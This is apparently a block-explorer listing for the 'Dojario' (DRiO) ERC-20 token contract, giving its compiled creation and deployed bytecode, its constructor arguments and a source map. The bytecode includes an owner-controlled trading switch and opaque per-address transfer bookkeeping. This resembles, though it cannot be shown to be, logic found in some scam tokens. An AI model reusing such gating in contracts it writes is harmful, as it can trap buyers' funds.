002054115b8015610d98575060065483115b8015610df057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e405782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114b6565b600c60029054906101000a900460ff16158015610e9c57506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610ef457507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f3f57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610fd557600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f919190611d1a565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036110e857600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006003541180156111d757506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156111f05750600c60029054906101000a900460ff16155b801561123b57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611317576064600354856112509190611f12565b61125a9190611f83565b915081846112689190611d1a565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112b99190611d1a565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130f9190611ede565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113669190611d1a565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113bc9190611ede565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114209190611ab3565b60405180910390a3600c60009054906101000a900460ff166114b2576114446105d5565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890612026565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115969190611f83565b905060004790506115a782306115c8565b600081476115b59190611d1a565b90506115c2838230611807565b50505050565b6000600267ffffffffffffffff8111156115e5576115e4612046565b5b6040519080825280602002602001820160405280156116135781602001602082028036833780820191505090505b509050308160008151811061162b5761162a612075565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f491906120b9565b8160018151811061170857611707612075565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176d307f000000000000000000000000000000000000000000000000000000000000000085610970565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016117d09594939291906121df565b600060405180830381600087803b1580156117ea57600080fd5b505af11580156117fe573d6000803e3d6000fd5b50505050505050565b611832307f000000000000000000000000000000000000000000000000000000000000000085610970565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161189896959493929190612239565b60606040518083038185885af11580156118b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118db91906122af565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561191d578082015181840152602081019050611902565b60008484015250505050565b6000601f19601f8301169050919050565b6000611945826118e3565b61194f81856118ee565b935061195f8185602086016118ff565b61196881611929565b840191505092915050565b6000602082019050818103600083015261198d818461193a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119c58261199a565b9050919050565b6119d5816119ba565b81146119e057600080fd5b50565b6000813590506119f2816119cc565b92915050565b6000819050919050565b611a0b816119f8565b8114611a1657600080fd5b50565b600081359050611a2881611a02565b92915050565b60008060408385031215611a4557611a44611995565b5b6000611a53858286016119e3565b9250506020611a6485828601611a19565b9150509250929050565b60008115159050919050565b611a8381611a6e565b82525050565b6000602082019050611a9e6000830184611a7a565b92915050565b611aad816119f8565b82525050565b6000602082019050611ac86000830184611aa4565b92915050565b600080600060608486031215611ae757611ae6611995565b5b6000611af5868287016119e3565b9350506020611b06868287016119e3565b9250506040611b1786828701611a19565b9150509250925092565b611b2a816119ba565b82525050565b6000602082019050611b456000830184611b21565b92915050565b600060208284031215611b6157611b60611995565b5b6000611b6f848285016119e3565b91505092915050565b611b8181611a6e565b8114611b8c57600080fd5b50565b600081359050611b9e81611b78565b92915050565b600060208284031215611bba57611bb9611995565b5b6000611bc884828501611b8f565b91505092915050565b60008060408385031215611be857611be7611995565b5b6000611bf6858286016119e3565b9250506020611c07858286016119e3565b9150509250929050565b6000819050919050565b6000611c36611c31611c2c8461199a565b611c11565b61199a565b9050919050565b6000611c4882611c1b565b9050919050565b6000611c5a82611c3d565b9050919050565b611c6a81611c4f565b82525050565b6000602082019050611c856000830184611c61565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cd257607f821691505b602082108103611ce557611ce4611c8b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d25826119f8565b9150611d30836119f8565b9250828203905081811115611d4857611d47611ceb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d846020836118ee565b9150611d8f82611d4e565b602082019050919050565b60006020820190508181036000830152611db381611d77565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e166026836118ee565b9150611e2182611dba565b604082019050919050565b60006020820190508181036000830152611e4581611e09565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ea86024836118ee565b9150611eb382611e4c565b604082019050919050565b60006020820190508181036000830152611ed781611e9b565b9050919050565b6000611ee9826119f8565b9150611ef4836119f8565b9250828201905080821115611f0c57611f0b611ceb565b5b92915050565b6000611f1d826119f8565b9150611f28836119f8565b9250828202611f36816119f8565b91508282048414831517611f4d57611f4c611ceb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f8e826119f8565b9150611f99836119f8565b925082611fa957611fa8611f54565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612010603f836118ee565b915061201b82611fb4565b604082019050919050565b6000602082019050818103600083015261203f81612003565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120b3816119cc565b92915050565b6000602082840312156120cf576120ce611995565b5b60006120dd848285016120a4565b91505092915050565b6000819050919050565b600061210b612106612101846120e6565b611c11565b6119f8565b9050919050565b61211b816120f0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612156816119ba565b82525050565b6000612168838361214d565b60208301905092915050565b6000602082019050919050565b600061218c82612121565b612196818561212c565b93506121a18361213d565b8060005b838110156121d25781516121b9888261215c565b97506121c483612174565b9250506001810190506121a5565b5085935050505092915050565b600060a0820190506121f46000830188611aa4565b6122016020830187612112565b81810360408301526122138186612181565b90506122226060830185611b21565b61222f6080830184611aa4565b9695505050505050565b600060c08201905061224e6000830189611b21565b61225b6020830188611aa4565b6122686040830187612112565b6122756060830186612112565b6122826080830185611b21565b61228f60a0830184611aa4565b979650505050505050565b6000815190506122a981611a02565b92915050565b6000806000606084860312156122c8576122c7611995565b5b60006122d68682870161229a565b93505060206122e78682870161229a565b92505060406122f88682870161229a565b915050925092509256fea2646970667358221220b556958b61d3f9145d6ffd12e4f629df99cae0c02a95e94844ed64e2c5fafee264736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007446f6a6172696f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044452694f00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80638f70ccf71161008a578063dd62ed3e11610059578063dd62ed3e14610339578063e36ecce614610376578063f2fde38b146103a1578063f887ea40146103ca576100fe565b80638f70ccf714610291578063914eb66a146102ba57806395d89b41146102d1578063a9059cbb146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe57806370a08231146102295780638da5cb5b14610266576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f5565b6040516101259190611973565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611a2e565b610487565b6040516101629190611a89565b60405180910390f35b34801561017757600080fd5b5061018061049c565b60405161018d9190611ab3565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611ace565b6104a6565b6040516101ca9190611a89565b60405180910390f35b3480156101df57600080fd5b506101e861054e565b6040516101f59190611ab3565b60405180910390f35b34801561020a57600080fd5b50610213610568565b6040516102209190611b30565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190611b4b565b61058c565b60405161025d9190611ab3565b60405180910390f35b34801561027257600080fd5b5061027b6105d5565b6040516102889190611b30565b60405180910390f35b34801561029d57600080fd5b506102b860048036038101906102b39190611ba4565b6105fe565b005b3480156102c657600080fd5b506102cf610697565b005b3480156102dd57600080fd5b506102e661071f565b6040516102f39190611973565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190611a2e565b6107b1565b6040516103309190611a89565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190611bd1565b6107c8565b60405161036d9190611ab3565b60405180910390f35b34801561038257600080fd5b5061038b61084f565b6040516103989190611ab3565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190611b4b565b610855565b005b3480156103d657600080fd5b506103df61094c565b6040516103ec9190611c70565b60405180910390f35b60606002805461040490611cba565b80601f016020809104026020016040519081016040528092919081815260200182805461043090611cba565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b6000610494338484610970565b905092915050565b6000600554905090565b60006104b3848484610b0b565b610545843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105409190611d1a565b610970565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d581565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6106066114bb565b73ffffffffffffffffffffffffffffffffffffffff166106246105d5565b73ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190611d9a565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b61069f6114bb565b73ffffffffffffffffffffffffffffffffffffffff166106bd6105d5565b73ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90611d9a565b60405180910390fd5b61071d60006114c3565b565b60606001805461072e90611cba565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611cba565b80156107a75780601f1061077c576101008083540402835291602001916107a7565b820191906000526020600020905b81548152906001019060200180831161078a57829003601f168201915b5050505050905090565b60006107be338484610b0b565b6001905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60035481565b61085d6114bb565b73ffffffffffffffffffffffffffffffffffffffff1661087b6105d5565b73ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890611d9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790611e2c565b60405180910390fd5b610949816114c3565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109db5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1190611ebe565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610af89190611ab3565b60405180910390a3600190509392505050565b6000610b163061058c565b90506000600c60019054906101000a900460ff168015610b37575060065482115b8015610b505750600c60029054906101000a900460ff16155b8015610ba857507f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610bf1576001600c60026101000a81548160ff021916908315150217905550610bd182611587565b6000600c60026101000a81548160ff021916908315150217905550610fd6565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610c815750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610cf05782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cd89190611ede565b92505081905550610ce983856115c8565b50506114b6565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610d8b57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610d98575060065483115b8015610df057507f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e405782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114b6565b600c60029054906101000a900460ff16158015610e9c57506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610ef457507f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f3f57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610fd557600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f919190611d1a565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036110e857600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000105d787a42a627b442bbd929a89fc33486d617d573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006003541180156111d757506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156111f05750600c60029054906101000a900460ff16155b801561123b57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611317576064600354856112509190611f12565b61125a9190611f83565b915081846112689190611d1a565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112b99190611d1a565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130f9190611ede565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113669190611d1a565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113bc9190611ede565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114209190611ab3565b60405180910390a3600c60009054906101000a900460ff166114b2576114446105d5565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890612026565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115969190611f83565b905060004790506115a782306115c8565b600081476115b59190611d1a565b90506115c2838230611807565b50505050565b6000600267ffffffffffffffff8111156115e5576115e4612046565b5b6040519080825280602002602001820160405280156116135781602001602082028036833780820191505090505b509050308160008151811061162b5761162a612075565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f491906120b9565b8160018151811061170857611707612075565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610970565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016117d09594939291906121df565b600060405180830381600087803b1580156117ea57600080fd5b505af11580156117fe573d6000803e3d6000fd5b50505050505050565b611832307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610970565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161189896959493929190612239565b60606040518083038185885af11580156118b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118db91906122af565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561191d578082015181840152602081019050611902565b60008484015250505050565b6000601f19601f8301169050919050565b6000611945826118e3565b61194f81856118ee565b935061195f8185602086016118ff565b61196881611929565b840191505092915050565b6000602082019050818103600083015261198d818461193a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119c58261199a565b9050919050565b6119d5816119ba565b81146119e057600080fd5b50565b6000813590506119f2816119cc565b92915050565b6000819050919050565b611a0b816119f8565b8114611a1657600080fd5b50565b600081359050611a2881611a02565b92915050565b60008060408385031215611a4557611a44611995565b5b6000611a53858286016119e3565b9250506020611a6485828601611a19565b9150509250929050565b60008115159050919050565b611a8381611a6e565b82525050565b6000602082019050611a9e6000830184611a7a565b92915050565b611aad816119f8565b82525050565b6000602082019050611ac86000830184611aa4565b92915050565b600080600060608486031215611ae757611ae6611995565b5b6000611af5868287016119e3565b9350506020611b06868287016119e3565b9250506040611b1786828701611a19565b9150509250925092565b611b2a816119ba565b82525050565b6000602082019050611b456000830184611b21565b92915050565b600060208284031215611b6157611b60611995565b5b6000611b6f848285016119e3565b91505092915050565b611b8181611a6e565b8114611b8c57600080fd5b50565b600081359050611b9e81611b78565b92915050565b600060208284031215611bba57611bb9611995565b5b6000611bc884828501611b8f565b91505092915050565b60008060408385031215611be857611be7611995565b5b6000611bf6858286016119e3565b9250506020611c07858286016119e3565b9150509250929050565b6000819050919050565b6000611c36611c31611c2c8461199a565b611c11565b61199a565b9050919050565b6000611c4882611c1b565b9050919050565b6000611c5a82611c3d565b9050919050565b611c6a81611c4f565b82525050565b6000602082019050611c856000830184611c61565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cd257607f821691505b602082108103611ce557611ce4611c8b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d25826119f8565b9150611d30836119f8565b9250828203905081811115611d4857611d47611ceb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d846020836118ee565b9150611d8f82611d4e565b602082019050919050565b60006020820190508181036000830152611db381611d77565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e166026836118ee565b9150611e2182611dba565b604082019050919050565b60006020820190508181036000830152611e4581611e09565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ea86024836118ee565b9150611eb382611e4c565b604082019050919050565b60006020820190508181036000830152611ed781611e9b565b9050919050565b6000611ee9826119f8565b9150611ef4836119f8565b9250828201905080821115611f0c57611f0b611ceb565b5b92915050565b6000611f1d826119f8565b9150611f28836119f8565b9250828202611f36816119f8565b91508282048414831517611f4d57611f4c611ceb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f8e826119f8565b9150611f99836119f8565b925082611fa957611fa8611f54565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612010603f836118ee565b915061201b82611fb4565b604082019050919050565b6000602082019050818103600083015261203f81612003565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120b3816119cc565b92915050565b6000602082840312156120cf576120ce611995565b5b60006120dd848285016120a4565b91505092915050565b6000819050919050565b600061210b612106612101846120e6565b611c11565b6119f8565b9050919050565b61211b816120f0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612156816119ba565b82525050565b6000612168838361214d565b60208301905092915050565b6000602082019050919050565b600061218c82612121565b612196818561212c565b93506121a18361213d565b8060005b838110156121d25781516121b9888261215c565b97506121c483612174565b9250506001810190506121a5565b5085935050505092915050565b600060a0820190506121f46000830188611aa4565b6122016020830187612112565b81810360408301526122138186612181565b90506122226060830185611b21565b61222f6080830184611aa4565b9695505050505050565b600060c08201905061224e6000830189611b21565b61225b6020830188611aa4565b6122686040830187612112565b6122756060830186612112565b6122826080830185611b21565b61228f60a0830184611aa4565b979650505050505050565b6000815190506122a981611a02565b92915050565b6000806000606084860312156122c8576122c7611995565b5b60006122d68682870161229a565b93505060206122e78682870161229a565b92505060406122f88682870161229a565b915050925092509256fea2646970667358221220b556958b61d3f9145d6ffd12e4f629df99cae0c02a95e94844ed64e2c5fafee264736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007446f6a6172696f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044452694f00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Dojario
Arg [1] : Symbol (string): DRiO
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 446f6a6172696f00000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4452694f00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12493:5991:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13935:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14478:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14026:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14983:279;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14125:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13195:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14360:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11018:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17993:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11669:91;;;;;;;;;;;;;:::i;:::-;;13840:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15270:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14218:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12593:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11917:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13240:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13935:83;13972:13;14005:5;13998:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;